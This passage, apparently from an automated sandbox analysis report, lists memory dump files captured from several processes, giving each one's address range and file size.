memory/4588-191-0x0000000000400000-0x0000000000415000-memory.dmpFilesize
84KB
-
memory/4588-181-0x0000000003130000-0x0000000003131000-memory.dmpFilesize
4KB
-
memory/4588-153-0x0000000000000000-mapping.dmp
-
memory/4784-92-0x0000000000400000-0x0000000000537000-memory.dmpFilesize
1.2MB
-
memory/4784-91-0x0000000000E60000-0x0000000000F7A000-memory.dmpFilesize
1.1MB
-
memory/4784-90-0x0000000000E60000-0x0000000000E61000-memory.dmpFilesize
4KB
-
memory/4784-87-0x0000000000000000-mapping.dmp
-
memory/4788-146-0x0000000004A10000-0x0000000004A11000-memory.dmpFilesize
4KB
-
memory/4804-203-0x0000000005260000-0x0000000005261000-memory.dmpFilesize
4KB
-
memory/4812-268-0x000001E1C17C0000-0x000001E1C17C00F8-memory.dmpFilesize
248B
-
memory/4832-198-0x0000000000000000-mapping.dmp
-
memory/4848-128-0x0000000000B90000-0x0000000000B91000-memory.dmpFilesize
4KB
-
memory/4848-132-0x0000000000A90000-0x0000000000B19000-memory.dmpFilesize
548KB
-
memory/4848-135-0x0000000000400000-0x000000000048C000-memory.dmpFilesize
560KB
-
memory/4848-125-0x0000000000000000-mapping.dmp
-
memory/4864-197-0x0000000000000000-mapping.dmp
-
memory/4892-93-0x0000000000000000-mapping.dmp
-
memory/4924-95-0x0000000000000000-mapping.dmp
-
memory/4924-104-0x0000000000D90000-0x0000000000D91000-memory.dmpFilesize
4KB
-
memory/4924-117-0x0000000000400000-0x0000000000537000-memory.dmpFilesize
1.2MB
-
memory/5128-210-0x0000000000000000-mapping.dmp
-
memory/5156-211-0x0000000000000000-mapping.dmp
-
memory/5160-221-0x0000000000000000-mapping.dmp
-
memory/5160-222-0x0000000002690000-0x0000000003030000-memory.dmpFilesize
9.6MB
-
memory/5160-223-0x0000000002680000-0x0000000002682000-memory.dmpFilesize
8KB
-
memory/5160-233-0x0000000002684000-0x0000000002685000-memory.dmpFilesize
4KB
-
memory/5192-212-0x0000000000000000-mapping.dmp
-
memory/5232-219-0x0000000000000000-mapping.dmp
-
memory/5252-213-0x0000000000000000-mapping.dmp
-
memory/5384-227-0x0000000000402A38-mapping.dmp
-
memory/5384-226-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
-
memory/5496-229-0x0000000000000000-mapping.dmp
-
memory/5496-248-0x0000000000400000-0x0000000000C1B000-memory.dmpFilesize
8.1MB
-
memory/5496-249-0x00000000037A0000-0x0000000003FA2000-memory.dmpFilesize
8.0MB
-
memory/5496-251-0x0000000000400000-0x0000000000C1B000-memory.dmpFilesize
8.1MB
-
memory/5496-247-0x00000000037A0000-0x00000000037A1000-memory.dmpFilesize
4KB
-
memory/5516-230-0x0000000000000000-mapping.dmp
-
memory/5548-234-0x0000000000401000-0x000000000040B000-memory.dmpFilesize
40KB
-
memory/5548-232-0x0000000000000000-mapping.dmp
-
memory/5580-238-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/5580-235-0x0000000000000000-mapping.dmp
-
memory/5604-270-0x000001F8ACDC0000-0x000001F8ACDC00F8-memory.dmpFilesize
248B
-
memory/5616-269-0x0000014DA4FB0000-0x0000014DA4FB00F8-memory.dmpFilesize
248B
-
memory/5652-236-0x0000000000000000-mapping.dmp
-
memory/5652-237-0x00000000021E0000-0x0000000002B80000-memory.dmpFilesize
9.6MB
-
memory/5652-239-0x00000000021D0000-0x00000000021D2000-memory.dmpFilesize
8KB
-
memory/5728-240-0x0000000000000000-mapping.dmp
-
memory/5748-250-0x0000000002535000-0x0000000002536000-memory.dmpFilesize
4KB
-
memory/5748-241-0x0000000002540000-0x0000000002EE0000-memory.dmpFilesize
9.6MB
-
memory/5748-243-0x0000000002530000-0x0000000002532000-memory.dmpFilesize
8KB
-
memory/5748-246-0x0000000002532000-0x0000000002534000-memory.dmpFilesize
8KB
-
memory/5756-245-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/5760-271-0x000001CEBD080000-0x000001CEBD0800F8-memory.dmpFilesize
248B
-
memory/5872-254-0x00007FF86B310000-0x00007FF86B311000-memory.dmpFilesize
4KB
-
memory/5988-224-0x0000000002F00000-0x0000000002F01000-memory.dmpFilesize
4KB
-
memory/5988-225-0x0000000002BD0000-0x0000000002BDD000-memory.dmpFilesize
52KB
-
memory/5988-216-0x0000000000000000-mapping.dmp
-
memory/6092-253-0x00000000036E0000-0x00000000036E1000-memory.dmpFilesize
4KB